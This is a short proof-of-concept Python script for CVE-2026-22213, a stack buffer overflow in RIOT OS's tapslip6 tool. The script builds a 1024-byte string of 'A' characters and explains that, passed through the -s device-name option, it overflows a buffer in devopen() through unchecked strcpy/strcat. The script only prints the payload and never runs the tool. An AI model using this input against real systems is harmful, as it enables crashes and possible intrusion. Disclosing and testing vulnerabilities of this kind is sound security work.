CVE-2026-22213 RIOT OS tapslip6工具栈缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2026-22213 PoC - RIOT OS tapslip6 Stack Buffer Overflow This PoC demonstrates the vulnerability by generating an oversized device name that triggers the buffer overflow in the devopen() function. """ import sys import subprocess def generate_payload(payload_length=1024): """Generate oversized device name to trigger overflow""" # Generate payload with repeated 'A' characters # This will overflow the fixed-size stack buffer return 'A' * payload_length def test_vulnerability(): """Test for the buffer overflow vulnerability""" print(f"[*] CVE-2026-22213 PoC - RIOT OS tapslip6 Buffer Overflow") print(f"[*] Generating payload with 1024 bytes...") payload = generate_payload(1024) # Simulate the attack by passing oversized input # In real scenario, this would be passed to tapslip6 -s option print(f"[+] Payload length: {len(payload)} bytes") print(f"[+] Payload preview: {payload[:50]}...") print(f"[!] This oversized device name will overflow the stack buffer in devopen()") print(f"[!] The strcpy/strcat functions don't check bounds, causing overflow") return payload if __name__ == "__main__": test_vulnerability()